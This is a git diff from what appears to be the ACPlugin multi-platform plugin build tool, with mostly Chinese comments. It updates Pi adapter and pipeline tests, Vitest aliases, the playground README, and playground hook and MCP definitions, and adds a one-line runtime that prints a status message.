{ path: 'extensions/acplugin-hooks.mjs', bytes: 'export default function setup() {}\n' }, + }); + /** valid 必须通过 Core merge 和最终 discovery closure 校验。 */ + const valid = await run({ root: validRoot, extensions: [hooks] }); + /** manifest 是 Core codec 合并后的最终 Document。 */ + const manifest = JSON.parse(await fs.readFile(path.join(validRoot, 'dist/pi/package/package.json'), 'utf8')); + expect(valid.success, JSON.stringify(valid.diagnostics, null, 2)).toBe(true); + expect(manifest.pi.extensions).toEqual(['./extensions/acplugin-hooks.mjs']); + expect(valid.packages[0]?.assets).toContainEqual(expect.objectContaining({ + path: 'extensions/acplugin-hooks.mjs', owner: 'extension:hooks-fixture', + })); + + /** collisionRoot 的两个无序 Contributor 占用相同精确 point。 */ + const collisionRoot = await temporaryProject(); + /** collision 与 Extension 配置顺序无关。 */ + const collision = await run({ + root: collisionRoot, + command: 'validate', + commit: false, + extensions: [hooksContribution({ id: 'first-hooks' }), hooksContribution({ id: 'second-hooks' })], + }); + expect(collision.success).toBe(false); + expect(collision.diagnostics).toContainEqual(expect.objectContaining({ + code: 'PLATFORM_CONTRIBUTION_FAILED', platform: 'pi', phase: 'contribute', + })); + }); + + it('reports unsupported MCP and Runtime without compiling or generating fake assets', async () => { + /** root 中不可解析 Runtime import 证明 capability 协商发生在 compile 前。 */ + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'src/runtime'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/runtime/cli.ts'), 'import "missing-runtime-package";\n'); + /** relaxed 接受两个显式 unsupported tuple。 */ + const report = await run({ root, platform: pi({ strict: false }), extensions: [unsupportedMcp()] }); + + expect(report.success, JSON.stringify(report.diagnostics, null, 2)).toBe(true); + expect(report.runtimes).toEqual([{ + id: 'cli', kind: 'executable', location: { path: 'src/runtime/cli.ts' }, built: false, + }]); + expect(report.compatibility).toEqual(expect.arrayContaining([ + expect.objectContaining({ platform: 'pi', subject: 'runtime:cli', capability: 'node20-esm', level: 'unsupported' }), + expect.objectContaining({ platform: 'pi', subject: 'mcp:docs', capability: 'transport', level: 'unsupported' }), + ])); + expect(report.packages[0]?.assets.some(asset => asset.path.startsWith('runtime/') || asset.path.startsWith('mcp/'))).toBe(false); + }); + + it('rejects native/fallback Skill identity collisions and unknown Component fields before Package creation', async () => { + /** collisionRoot 的 native Skill 占用 Agent fallback 最终 ID。 */ + const collisionRoot = await temporaryProject(); + await fs.mkdir(path.join(collisionRoot, 'src/skills/agent-reviewer'), { recursive: true }); + await fs.mkdir(path.join(collisionRoot, 'src/agents'), { recursive: true }); + await fs.writeFile(path.join(collisionRoot, 'src/skills/agent-reviewer/SKILL.md'), '---\ndescription: Existing.\n---\nExisting.\n'); + await fs.writeFile(path.join(collisionRoot, 'src/agents/reviewer.md'), '---\ndescription: Reviewer.\n---\nReview.\n'); + /** collision 必须发生在有歧义的 Asset 签发前。 */ + const collision = await run({ root: collisionRoot, command: 'validate', commit: false }); + expect(collision.diagnostics).toContainEqual(expect.objectContaining({ + code: 'PI_GENERATED_SKILL_ID_COLLISION', platform: 'pi', phase: 'package', + })); + expect(collision.packages).toEqual([]); + + /** fieldRoot 验证 canonical Pi namespace 没有 raw escape hatch。 */ + const fieldRoot = await temporaryProject(); + await fs.mkdir(path.join(fieldRoot, 'src/commands'), { recursive: true }); + await fs.writeFile(path.join(fieldRoot, 'src/commands/invalid.md'), `--- +description: Invalid. +platforms: + pi: + raw: true +--- +Invalid. +`); + /** fieldReport 必须保留 canonical namespace 的准确 fieldPath。 */ + const fieldReport = await run({ root: fieldRoot, command: 'validate', commit: false }); + expect(fieldReport.diagnostics).toContainEqual(expect.objectContaining({ + code: 'PI_COMPONENT_FIELD_UNKNOWN', fieldPath: ['platforms', 'pi', 'raw'], + })); + }); + + it('rejects unsafe or missing Extension discovery references at the final candidate boundary', async () => { + /** root 的 Contribution 使用 parent escape 且不产生对应 Asset。 */ + const root = await temporaryProject(); + /** report 必须来自 Platform final candidate validator。 */ + const report = await run({ + root, + command: 'validate', + commit: false, + extensions: [hooksContribution({ reference: ['../escape.mjs'] })], }); - /** Validator 返回的稳定平台诊断。 */ + + expect(report.success).toBe(false); + expect(report.diagnostics).toContainEqual(expect.objectContaining({ + code: 'PI_DISCOVERY_PATH_INVALID', platform: 'pi', phase: 'platform-validate', + })); + }); + + it('rejects malformed package candidates, workspace fields, unsafe Gallery URLs, and missing discovery assets', async () => { + /** root 是直接候选校验用的隔离 materialization 根。 */ + const root = await temporaryProject(); + await fs.writeFile(path.join(root, PACKAGE_MANIFEST_PATH), JSON.stringify({ + name: 'invalid-package', + version: '1.0.0', + description: 'Invalid Pi package.', + type: 'module', + keywords: ['pi-package'], + private: true, + pi: { + skills: ['./skills'], + image: 'https://user:secret@example.com/cover.png', + }, + })); + /** diagnostics 收集 Platform Validator 的稳定错误码。 */ const diagnostics: DiagnosticInput[] = []; - await withMaterializedDeliveryUnitCandidate(unit, candidate => platform.validateBundle!({ - command: 'build', + /** context 只构造 validator 公开读取的 candidate snapshot 字段。 */ + const context = { + command: 'validate', mode: 'production', - candidate, - /** 收集最终候选校验产生的平台诊断。 */ - reportDiagnostic: diagnostic => diagnostics.push(diagnostic), - }), root); + candidate: { + root, + unit: { + platform: 'pi', id: 'package', type: 'package', role: 'primary', + assets: [], compatibility: [], metadata: [], + }, + }, + diagnostics: { + /** report 只收集稳定结构化诊断,不读取候选外信息。 */ + report: (diagnostic: DiagnosticInput) => diagnostics.push(diagnostic), + }, + } as unknown as ValidatePackageContext; + await validatePiPackage(context); + + expect(diagnostics).toEqual(expect.arrayContaining([ + expect.objectContaining({ code: 'PI_PACKAGE_FIELD_UNKNOWN' }), + expect.objectContaining({ code: 'PI_PACKAGE_WORKSPACE_LEAK' }), + expect.objectContaining({ code: 'PI_DISCOVERY_PATH_MISSING' }), + expect.objectContaining({ code: 'PI_GALLERY_REFERENCE_INVALID' }), + ])); + }); - expect(diagnostics).toContainEqual(expect.objectContaining({ code: 'PI_PACKAGE_WORKSPACE_LEAK' })); + it('validates and defensively copies factory options without raw npm escape hatches', () => { + expect(() => pi({ package: { dependencies: {} } } as never)).toThrow('Unknown Pi package option'); + expect(() => pi({ package: { video: '' } })).toThrow('package.video'); + /** input 在 factory 返回后继续可变,Platform options 必须保持原快照。 */ + const input = { package: { image: 'https://example.com/cover.png' } }; + /** platform 不能保留作者 input identity。 */ + const platform = pi(input); + input.package.image = 'https://example.com/mutated.png'; + expect(platform.options).toEqual({ package: { image: 'https://example.com/cover.png' } }); + expect(Object.isFrozen((platform.options as { package: object }).package)).toBe(true); }); }); diff --git a/packages/platforms/pi/vitest.config.ts b/packages/platforms/pi/vitest.config.ts index ffe883f..8ea0294 100644 --- a/packages/platforms/pi/vitest.config.ts +++ b/packages/platforms/pi/vitest.config.ts @@ -1,12 +1,22 @@ import { fileURLToPath } from 'node:url'; import { defineConfig } from 'vitest/config'; -/** Pi 单测让公开主包与私有 Core 共享同一源码品牌实例。 */ +/** Pi 单测让公开 SDK 与私有 Core 共享同一源码品牌实例。 */ export default defineConfig({ resolve: { - alias: { - '@acplugin/core': fileURLToPath(new URL('../../core/src/index.ts', import.meta.url)), - '@tokenroll/acplugin': fileURLToPath(new URL('../../acplugin/src/index.ts', import.meta.url)), - }, + alias: [ + { + find: /^@tokenroll\/acplugin\/sdk$/, + replacement: fileURLToPath(new URL('../../acplugin/src/sdk.ts', import.meta.url)), + }, + { + find: /^@acplugin\/core\/kernel-sdk$/, + replacement: fileURLToPath(new URL('../../core/src/kernel-sdk.ts', import.meta.url)), + }, + { + find: /^@acplugin\/core$/, + replacement: fileURLToPath(new URL('../../core/src/index.ts', import.meta.url)), + }, + ], }, }); diff --git a/packages/playground/README.md b/packages/playground/README.md index cc1858d..0f52d3e 100644 --- a/packages/playground/README.md +++ b/packages/playground/README.md @@ -1,6 +1,6 @@ # @acplugin/playground -这是一个不绑定具体产品领域的完整 ACPlugin capability template。它用真实公开 package、Canonical Scanner、Hooks/MCP bundler、Platform Adapter、DeliveryUnit validator 和托管事务构建六个平台产物。 +这是一个不绑定具体产品领域的完整 ACPlugin capability template。它通过真实公开 package、Kernel v2 Resource Provider、Core Compiler、Platform Package、无序 Contributor、候选校验和托管事务构建六个平台产物。 ```bash pnpm --filter @acplugin/playground typecheck @@ -16,24 +16,25 @@ pnpm --filter @acplugin/playground build - `project-workflow` Skill、四个通用工作流 references 和两个 Codex Skill icon auxiliary files。 - `investigator`、`reflector`、`recorder` 三个 Agent。 - 全部 11 个 portable Hook 事件,覆盖 matcher、timeout、status message、Codex context limit 和事件级语义结果。 -- public、OAuth scopes、Bearer env/header 三种远程 HTTP MCP,以及可真实执行 `initialize`、`tools/list`、`tools/call` 的 local stdio MCP。 +- Public、OAuth scopes、Bearer env/header 三种远程 HTTP MCP,以及可真实执行 `initialize`、`tools/list`、`tools/call` 的 local stdio MCP。 +- 可在 Claude Code/Codex 交付并真实执行、在其余平台明确报告 unsupported 的 Node 20 ESM Runtime。 - runtime/schema/upgrade 静态资源示例、品牌 SVG 和四个 Public Markdown 模板。 -- Claude Code/Codex 自包含 Marketplace,以及 Cursor、Antigravity、OpenCode、Pi 的主交付单元。 +- Claude Code/Codex 自包含 Marketplace,以及 Cursor、Antigravity、OpenCode、Pi 的主 Package。 ## 验证范围 仓库根的 `pnpm playground:check` 不只检查文件是否存在。`scripts/verify-playground.mjs` 会: -- 对六个平台的 211 条 compatibility 记录和 84 条预期降级/不支持项执行精确白名单校验。 -- 比较 BuildResult Artifact Registry 与真实 `dist` 文件树,并按字节检查 Skill auxiliary、Public 和 Marketplace 继承产物。 -- 解析 Manifest、Hooks 配置和 MCP 配置,确认所有引用存在,且 unsupported 能力没有伪造 Artifact。 -- 用真实子进程执行每个受支持的 Hook `handler.mjs + wire.mjs`,并对三个 local MCP bundle 执行完整 JSON-RPC smoke。 +- 对六个平台的 210 条 compatibility 记录和 83 条预期降级/不支持项执行精确白名单校验,并核对 66 条 metadata disposition。 +- 比较 schema-v2 `BuildReport.packages[].assets` 与真实 `dist` 文件树,按字节检查 Skill auxiliary、Public、Runtime 和 Marketplace 继承内容。 +- 解析 Manifest、Hooks 配置和 MCP 配置,确认所有引用存在,且 unsupported 能力没有伪造 Asset。 +- 用真实子进程执行每个受支持的自包含 Hook `handler.mjs`、三个 local MCP bundle 和双平台 Node Runtime。 - 用 Secret 探针扫描报告和产物,连续构建两次并比较全部文件 hash 与 mode。 ## 模板边界 -此工程只演示 ACPlugin 的作者资源、配置字段、平台转换和 Extension 协议。Command、Skill、Agent、Hook、MCP 与 Public 文件使用无持久化副作用的示例逻辑,第三方作者应替换为自己的产品能力。 +此工程只演示 ACPlugin 的作者资源、配置字段、平台转换和 Extension Contributor 协议。Command、Skill、Agent、Hook、MCP、Runtime 与 Public 文件使用无持久化副作用的示例逻辑,第三方作者应替换为自己的产品能力。 -Codex、Antigravity 和 Pi 会把 Agent 降级成 `agent-*` guidance Skill;Codex/Antigravity 还把 Command 转成 `command-*` Skill,Pi 转成 Prompt Template。配置使用 `strict: false` 以展示平台差异,但 verifier 只接受六平台矩阵中逐项声明的 degradation/unsupported。 +Codex、Antigravity 和 Pi 会把 Agent 降级成 `agent-*` guidance Skill;Codex 把 Command 转成 `-` Skill,Antigravity 转成 `command-*` Skill,Pi 转成 Prompt Template。配置使用 `strict: false` 以展示平台差异,但 verifier 只接受六平台矩阵中逐项声明的 degradation/unsupported。 本 workspace 是能力覆盖和 packaging smoke,不是任何具体产品的实现或平台官方 conformance suite。 diff --git a/packages/playground/acplugin.config.ts b/packages/playground/acplugin.config.ts index e367fd1..6f5ca97 100644 --- a/packages/playground/acplugin.config.ts +++ b/packages/playground/acplugin.config.ts @@ -10,7 +10,7 @@ import pi from '@tokenroll/acplugin-platform-pi'; /** 覆盖全部官方集成能力的 ACPlugin 模板配置。 */ export default defineConfig({ - name: 'acplugin-capability-playground', + name: 'acplugin-playground', version: '0.1.0', description: 'Complete ACPlugin capability template for integration exercises.', displayName: 'ACPlugin Capability Playground', @@ -74,6 +74,11 @@ export default defineConfig({ }, }), ], + runtime: { + entries: { + playground: { entry: 'main.ts' }, + }, + }, extensions: [hooks(), mcp()], build: { strict: false }, }); diff --git a/packages/playground/src/hooks/permission-request/hook.ts b/packages/playground/src/hooks/permission-request/hook.ts index 7d15e02..edf1f39 100644 --- a/packages/playground/src/hooks/permission-request/hook.ts +++ b/packages/playground/src/hooks/permission-request/hook.ts @@ -1,7 +1,7 @@ -import { defineHook } from '@tokenroll/acplugin-extension-hooks'; +import type { Hook } from '@tokenroll/acplugin-extension-hooks'; /** 把权限决策交回宿主,证明 defer 语义可被打包而不自动授权。 */ -export default defineHook({ +export default { event: 'PermissionRequest', /** 返回由宿主继续处理的权限决策。 */ run() { @@ -10,4 +10,4 @@ export default defineHook({ reason: 'The host remains responsible for user authorization.', }; }, -}); +} satisfies Hook<'PermissionRequest'>; diff --git a/packages/playground/src/hooks/post-compact/hook.ts b/packages/playground/src/hooks/post-compact/hook.ts index bb2a1cb..b99bc73 100644 --- a/packages/playground/src/hooks/post-compact/hook.ts +++ b/packages/playground/src/hooks/post-compact/hook.ts @@ -1,7 +1,7 @@ -import { defineHook } from '@tokenroll/acplugin-extension-hooks'; +import type { Hook } from '@tokenroll/acplugin-extension-hooks'; /** 展示压缩后的继续决策,不声称已恢复真实 runtime 状态。 */ -export default defineHook({ +export default { event: 'PostCompact', /** 返回压缩完成后的继续决策。 */ run() { @@ -10,4 +10,4 @@ export default defineHook({ reason: 'The static template has no continuation state to restore.', }; }, -}); +} satisfies Hook<'PostCompact'>; diff --git a/packages/playground/src/hooks/post-tool-use/hook.ts b/packages/playground/src/hooks/post-tool-use/hook.ts index 095b805..e2f6d2e 100644 --- a/packages/playground/src/hooks/post-tool-use/hook.ts +++ b/packages/playground/src/hooks/post-tool-use/hook.ts @@ -1,7 +1,7 @@ -import { defineHook } from '@tokenroll/acplugin-extension-hooks'; +import type { Hook } from '@tokenroll/acplugin-extension-hooks'; /** 展示工具执行后的 pass 决策和非阻断上下文。 */ -export default defineHook({ +export default { event: 'PostToolUse', /** 返回工具执行后的非阻断观察结果。 */ run() { @@ -11,4 +11,4 @@ export default defineHook({ additionalContext: 'Verify claims against canonical source and the generated delivery together.', }; }, -}); +} satisfies Hook<'PostToolUse'>; diff --git a/packages/playground/src/hooks/pre-compact/hook.ts b/packages/playground/src/hooks/pre-compact/hook.ts index 26ed136..463190f 100644 --- a/packages/playground/src/hooks/pre-compact/hook.ts +++ b/packages/playground/src/hooks/pre-compact/hook.ts @@ -1,7 +1,7 @@ -import { defineHook } from '@tokenroll/acplugin-extension-hooks'; +import type { Hook } from '@tokenroll/acplugin-extension-hooks'; /** 展示压缩前扩展点;playground 不保存续接状态或阻止压缩。 */ -export default defineHook({ +export default { event: 'PreCompact', /** 明确允许压缩,也不产生虚假的续接状态。 */ run() { @@ -10,4 +10,4 @@ export default defineHook({ reason: 'The template has no runtime state that must be persisted before compaction.', }; }, -}); +} satisfies Hook<'PreCompact'>; diff --git a/packages/playground/src/hooks/pre-tool-use/hook.ts b/packages/playground/src/hooks/pre-tool-use/hook.ts index 708b735..f7be376 100644 --- a/packages/playground/src/hooks/pre-tool-use/hook.ts +++ b/packages/playground/src/hooks/pre-tool-use/hook.ts @@ -1,7 +1,7 @@ -import { defineHook } from '@tokenroll/acplugin-extension-hooks'; +import type { Hook } from '@tokenroll/acplugin-extension-hooks'; /** 覆盖 matcher、timeout、statusMessage 和 Codex 上下文上限等 Hook 配置字段。 */ -export default defineHook({ +export default { event: 'PreToolUse', matcher: '^(Read|Glob|Grep|read|glob|grep)$', timeout: 15, @@ -21,4 +21,4 @@ export default defineHook({ additionalContext: 'Treat generated Platform output as build artifacts, not canonical author input.', }; }, -}); +} satisfies Hook<'PreToolUse'>; diff --git a/packages/playground/src/hooks/session-end/hook.ts b/packages/playground/src/hooks/session-end/hook.ts index 64b92fd..0d5bbca 100644 --- a/packages/playground/src/hooks/session-end/hook.ts +++ b/packages/playground/src/hooks/session-end/hook.ts @@ -1,10 +1,10 @@ -import { defineHook } from '@tokenroll/acplugin-extension-hooks'; +import type { Hook } from '@tokenroll/acplugin-extension-hooks'; /** 展示会话结束 advisory,不执行写入或清理副作用。 */ -export default defineHook({ +export default { event: 'SessionEnd', /** 返回无副作用的会话结束提示。 */ run() { return { systemMessage: 'ACPlugin playground session finished without persistent runtime state.' }; }, -}); +} satisfies Hook<'SessionEnd'>; diff --git a/packages/playground/src/hooks/session-start/hook.ts b/packages/playground/src/hooks/session-start/hook.ts index 2f46a76..962cef2 100644 --- a/packages/playground/src/hooks/session-start/hook.ts +++ b/packages/playground/src/hooks/session-start/hook.ts @@ -1,7 +1,7 @@ -import { defineHook } from '@tokenroll/acplugin-extension-hooks'; +import type { Hook } from '@tokenroll/acplugin-extension-hooks'; /** 展示会话开始扩展点;只追加能力模板的边界说明。 */ -export default defineHook({ +export default { event: 'SessionStart', statusMessage: 'Loading the ACPlugin playground boundary.', /** 明确继续会话,并提供可移植的上下文和 advisory 结果。 */ @@ -13,4 +13,4 @@ export default defineHook({ systemMessage: 'ACPlugin playground template loaded.', }; }, -}); +} satisfies Hook<'SessionStart'>; diff --git a/packages/playground/src/hooks/stop/hook.ts b/packages/playground/src/hooks/stop/hook.ts index 6f92850..ba4a93a 100644 --- a/packages/playground/src/hooks/stop/hook.ts +++ b/packages/playground/src/hooks/stop/hook.ts @@ -1,7 +1,7 @@ -import { defineHook } from '@tokenroll/acplugin-extension-hooks'; +import type { Hook } from '@tokenroll/acplugin-extension-hooks'; /** 展示停止扩展点;Playground 不执行业务写入或延长会话。 */ -export default defineHook({ +export default { event: 'Stop', /** 明确完成,不延长会话,也不执行业务写入。 */ run() { @@ -10,4 +10,4 @@ export default defineHook({ reason: 'The capability template has no product-specific work to commit.', }; }, -}); +} satisfies Hook<'Stop'>; diff --git a/packages/playground/src/hooks/subagent-start/hook.ts b/packages/playground/src/hooks/subagent-start/hook.ts index 4a32314..1eb91c5 100644 --- a/packages/playground/src/hooks/subagent-start/hook.ts +++ b/packages/playground/src/hooks/subagent-start/hook.ts @@ -1,7 +1,7 @@ -import { defineHook } from '@tokenroll/acplugin-extension-hooks'; +import type { Hook } from '@tokenroll/acplugin-extension-hooks'; /** 展示子代理启动时的上下文补充。 */ -export default defineHook({ +export default { event: 'SubagentStart', /** 返回子代理启动时的模板上下文。 */ run() { @@ -10,4 +10,4 @@ export default defineHook({ systemMessage: 'ACPlugin playground subagent template activated.', }; }, -}); +} satisfies Hook<'SubagentStart'>; diff --git a/packages/playground/src/hooks/subagent-stop/hook.ts b/packages/playground/src/hooks/subagent-stop/hook.ts index 7fa5860..c0592ec 100644 --- a/packages/playground/src/hooks/subagent-stop/hook.ts +++ b/packages/playground/src/hooks/subagent-stop/hook.ts @@ -1,7 +1,7 @@ -import { defineHook } from '@tokenroll/acplugin-extension-hooks'; +import type { Hook } from '@tokenroll/acplugin-extension-hooks'; /** 展示子代理结束时的 finish 决策。 */ -export default defineHook({ +export default { event: 'SubagentStop', /** 返回子代理结束时的完成决策。 */ run() { @@ -10,4 +10,4 @@ export default defineHook({ reason: 'No additional playground-only work is required.', }; }, -}); +} satisfies Hook<'SubagentStop'>; diff --git a/packages/playground/src/hooks/user-prompt-submit/hook.ts b/packages/playground/src/hooks/user-prompt-submit/hook.ts index a90e2f2..625b48a 100644 --- a/packages/playground/src/hooks/user-prompt-submit/hook.ts +++ b/packages/playground/src/hooks/user-prompt-submit/hook.ts @@ -1,7 +1,7 @@ -import { defineHook } from '@tokenroll/acplugin-extension-hooks'; +import type { Hook } from '@tokenroll/acplugin-extension-hooks'; /** 展示用户提示提交前的允许决策和上下文补充。 */ -export default defineHook({ +export default { event: 'UserPromptSubmit', /** 返回允许用户提示继续处理的决策。 */ run() { @@ -11,4 +11,4 @@ export default defineHook({ additionalContext: 'Keep conclusions tied to files that exist in this template repository.', }; }, -}); +} satisfies Hook<'UserPromptSubmit'>; diff --git a/packages/playground/src/mcp/local-tools/mcp.ts b/packages/playground/src/mcp/local-tools/mcp.ts index 6f0766b..5436133 100644 --- a/packages/playground/src/mcp/local-tools/mcp.ts +++ b/packages/playground/src/mcp/local-tools/mcp.ts @@ -1,11 +1,11 @@ -import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; +import type { McpServer } from '@tokenroll/acplugin-extension-mcp'; /** 可被真实 initialize、tools/list 和 tools/call 探测的本地 stdio MCP 模板。 */ -export default defineMcpServer({ +export default { transport: 'stdio', - entry: './server.ts', + entry: 'server.ts', env: { PLAYGROUND_MODE: { value: 'template' }, PLAYGROUND_TOKEN: { env: 'PLAYGROUND_LOCAL_TOKEN' }, }, -}); +} satisfies McpServer; diff --git a/packages/playground/src/mcp/oauth-docs/mcp.ts b/packages/playground/src/mcp/oauth-docs/mcp.ts index 72c9bd4..a2f753f 100644 --- a/packages/playground/src/mcp/oauth-docs/mcp.ts +++ b/packages/playground/src/mcp/oauth-docs/mcp.ts @@ -1,11 +1,11 @@ -import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; +import type { McpServer } from '@tokenroll/acplugin-extension-mcp'; /** 使用 OAuth scope 的远程 Streamable HTTP MCP 模板。 */ -export default defineMcpServer({ +export default { transport: 'http', url: 'https://mcp.example.com/oauth-docs', auth: { type: 'oauth', scopes: ['resources:read', 'templates:read'], }, -}); +} satisfies McpServer; diff --git a/packages/playground/src/mcp/protected-docs/mcp.ts b/packages/playground/src/mcp/protected-docs/mcp.ts index c97f613..8b0854a 100644 --- a/packages/playground/src/mcp/protected-docs/mcp.ts +++ b/packages/playground/src/mcp/protected-docs/mcp.ts @@ -1,12 +1,12 @@ -import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; +import type { McpServer } from '@tokenroll/acplugin-extension-mcp'; /** 同时展示 Bearer、环境 Header 和公开字面量 Header 的远程 MCP 模板。 */ -export default defineMcpServer({ +export default { transport: 'http', url: 'https://mcp.example.com/protected-docs', auth: { type: 'bearer', env: 'PLAYGROUND_MCP_TOKEN' }, headers: { - 'X-Project': { value: 'acplugin-capability-playground' }, + 'X-Project': { value: 'acplugin-playground' }, 'X-Tenant': { env: 'PLAYGROUND_MCP_TENANT' }, }, -}); +} satisfies McpServer; diff --git a/packages/playground/src/mcp/public-docs/mcp.ts b/packages/playground/src/mcp/public-docs/mcp.ts index 82d246a..77cedb3 100644 --- a/packages/playground/src/mcp/public-docs/mcp.ts +++ b/packages/playground/src/mcp/public-docs/mcp.ts @@ -1,8 +1,8 @@ -import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; +import type { McpServer } from '@tokenroll/acplugin-extension-mcp'; /** 无认证的远程 Streamable HTTP MCP 模板。 */ -export default defineMcpServer({ +export default { transport: 'http', url: 'https://mcp.example.com/public-docs', auth: { type: 'none' }, -}); +} satisfies McpServer; diff --git a/packages/playground/src/runtime/main.ts b/packages/playground/src/runtime/main.ts new file mode 100644 index 0000000..b62b149 --- /dev/null +++ b/packages/playground/src/runtime/main.ts @@ -0,0 +1,2 @@ +/** Playground Runtime 只输出稳定的公开健康状态。 */ +process.stdout.write(`${JSON.stringify({ framework: 'acplugin', status: 'ready' })}\n`); diff --git a/packages/test/test/architecture.test.ts b/packages/test/test/architecture.test.ts index 7ae7e2c..3fb4c4b 100644 --- a/packages/test/test/architecture.test.ts +++ b/packages/test/test/architecture.test.ts @@ -15,8 +15,6 @@ const RETIRED_PACKAGE_PATTERN = /@acplugin\/compiler-|@tokenroll\/acplugin-modul /** 允许保留旧字段文字、但只能用于定向诊断或迁移的生产源码。 */ const LEGACY_TERM_ALLOWLIST = new Set([ 'packages/acplugin/src/cli.ts', - 'packages/core/src/config.ts', - 'packages/core/src/scanner.ts', ]); /** diff --git a/packages/test/test/build.test.ts b/packages/test/test/build.test.ts index 53a50c7..93d5c00 100644 --- a/packages/test/test/build.test.ts +++ b/packages/test/test/build.test.ts @@ -2,7 +2,7 @@ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; -import { ProjectConfigError, runProject, serializeBuildResult, type PlatformId } from '@tokenroll/acplugin'; +import { runProject, serializeBuildReport } from '@tokenroll/acplugin'; import claudeCode from '@tokenroll/acplugin-platform-claude-code'; import codex from '@tokenroll/acplugin-platform-codex'; import cursor from '@tokenroll/acplugin-platform-cursor'; @@ -19,7 +19,7 @@ const roots: string[] = []; interface OutputFileSnapshot { /** 使用 POSIX 分隔符的 dist 相对路径。 */ readonly path: string; - /** 只保留 Artifact 契约关心的权限位。 */ + /** 只保留 Asset 契约关心的权限位。 */ readonly mode: number; /** 未文本化的真实文件字节。 */ readonly bytes: Buffer; @@ -108,7 +108,7 @@ describe('unified pipeline', () => { await expect(fs.access(path.join(root, 'dist'))).rejects.toThrow(); }); - it('keeps the complete dist tree, Artifact hashes, and report bytes stable across roots and unrelated environment values', async () => { + it('keeps the complete dist tree, Asset hashes, and report bytes stable across roots and unrelated environment values', async () => { /** 相同字节工程使用的两个不同绝对根。 */ const firstRoot = await project(); /** 与第一个工程字节相同但绝对位置不同的第二个根。 */ @@ -123,8 +123,8 @@ describe('unified pipeline', () => { /** 第二个根和无关环境输入下的内置构建报告。 */ const second = await runProject({ cwd: secondRoot, command: 'build', mode: 'production' }); - expect(second.deliveryUnits).toEqual(first.deliveryUnits); - expect(serializeBuildResult(second)).toBe(serializeBuildResult(first)); + expect(second.packages).toEqual(first.packages); + expect(serializeBuildReport(second)).toBe(serializeBuildReport(first)); expect(await outputTree(path.join(secondRoot, 'dist'))).toEqual(await outputTree(path.join(firstRoot, 'dist'))); } finally { if (previousEnvironment === undefined) @@ -152,7 +152,7 @@ describe('unified pipeline', () => { const failed = await runProject({ cwd: root, command: 'build', mode: 'production' }); expect(failed).toMatchObject({ success: false, committed: false }); - expect(failed.diagnostics).toContainEqual(expect.objectContaining({ code: 'COMPATIBILITY_STRICT', platform: codex().id })); + expect(failed.diagnostics).toContainEqual(expect.objectContaining({ code: 'COMPATIBILITY_STRICT_FAILURE', platform: codex().id })); expect(await fs.readFile(manifest, 'utf8')).toBe(previous); }); @@ -163,13 +163,16 @@ describe('unified pipeline', () => { await fs.writeFile(path.join(root, 'src/agents/reviewer.md'), '---\ndescription: Review changes.\n---\nReview changes carefully.\n'); /** 严格模式下预期失败的 Codex 验证结果。 */ - const strict = await runProject({ cwd: root, command: 'validate', mode: 'production', platforms: [codex().id], strict: true }); + const strict = await runProject({ cwd: root, command: 'validate', mode: 'production', platforms: [codex({ strict: true }).id] }); expect(strict.success).toBe(false); - expect(strict.diagnostics).toContainEqual(expect.objectContaining({ code: 'COMPATIBILITY_STRICT' })); + expect(strict.diagnostics).toContainEqual(expect.objectContaining({ code: 'COMPATIBILITY_STRICT_FAILURE' })); /** 宽松模式下保留降级结论但成功的 Codex 验证结果。 */ - const relaxed = await runProject({ cwd: root, command: 'validate', mode: 'production', platforms: [codex().id], strict: false }); - expect(relaxed.success).toBe(true); + await fs.writeFile(path.join(root, 'acplugin.config.ts'), `const platforms = globalThis[Symbol.for('tokenroll.acplugin.build-test-platforms')]; +export default { name: 'hello-plugin', version: '1.0.0', description: 'Hello plugin.', platforms: [platforms.claudeCode(), platforms.codex({ strict: false })] };`); + /** 使用新配置重新解析宽松 Codex Platform。 */ + const relaxed = await runProject({ cwd: root, command: 'validate', mode: 'production', platforms: [codex({ strict: false }).id] }); + expect(relaxed.success, JSON.stringify(relaxed.diagnostics)).toBe(true); expect(relaxed.compatibility).toContainEqual(expect.objectContaining({ subject: 'agent:reviewer', level: 'degraded' })); }); @@ -177,10 +180,10 @@ describe('unified pipeline', () => { /** Platform 子集边界测试使用的最小工程。 */ const root = await project(); /** 三种非法选择对应的稳定诊断码。 */ - const cases: readonly { platforms: readonly PlatformId[]; code: string }[] = [ - { platforms: [] as const, code: 'CLI_PLATFORM_SELECTION_EMPTY' }, - { platforms: [codex().id, codex().id], code: 'CLI_PLATFORM_SELECTION_DUPLICATE' }, - { platforms: [cursor().id], code: 'CLI_PLATFORM_NOT_CONFIGURED' }, + const cases: readonly { platforms: readonly string[] }[] = [ + { platforms: [] as const }, + { platforms: [codex().id, codex().id] }, + { platforms: [cursor().id] }, ]; /** item 表示当前待验证的非法 Platform 子集。 */ @@ -190,8 +193,10 @@ describe('unified pipeline', () => { command: 'validate', mode: 'production', platforms: item.platforms, - })).rejects.toSatisfy((error: unknown) => error instanceof ProjectConfigError - && error.diagnostics.some(diagnostic => diagnostic.code === item.code)); + })).resolves.toMatchObject({ + success: false, + diagnostics: [expect.objectContaining({ code: 'PLATFORM_SELECTION_INVALID' })], + }); } }); }); diff --git a/packages/test/test/cli.test.ts b/packages/test/test/cli.test.ts index ed82bd6..f799255 100644 --- a/packages/test/test/cli.test.ts +++ b/packages/test/test/cli.test.ts @@ -10,13 +10,16 @@ const cli = path.resolve(import.meta.dirname, '../../acplugin/dist/cli.mjs'); const claudeCodeEntry = path.resolve(import.meta.dirname, '../../platforms/claude-code/dist/index.mjs'); /** CLI 子进程配置加载的 Codex Platform 构建入口。 */ const codexEntry = path.resolve(import.meta.dirname, '../../platforms/codex/dist/index.mjs'); +/** CLI 子进程配置与官方 Integration 共用的主包 SDK 构建入口。 */ +const acpluginEntry = path.resolve(import.meta.dirname, '../../acplugin/dist/index.mjs'); /** 所有有效 CLI fixture 共用的独立 Platform 导入源码。 */ -const platformImports = `import claudeCode from ${JSON.stringify(claudeCodeEntry)}; -import codex from ${JSON.stringify(codexEntry)};`; +const platformImports = `import claudeCode from '@tokenroll/acplugin-platform-claude-code'; +import codex from '@tokenroll/acplugin-platform-codex';`; /** 所有有效 CLI fixture 共用的显式 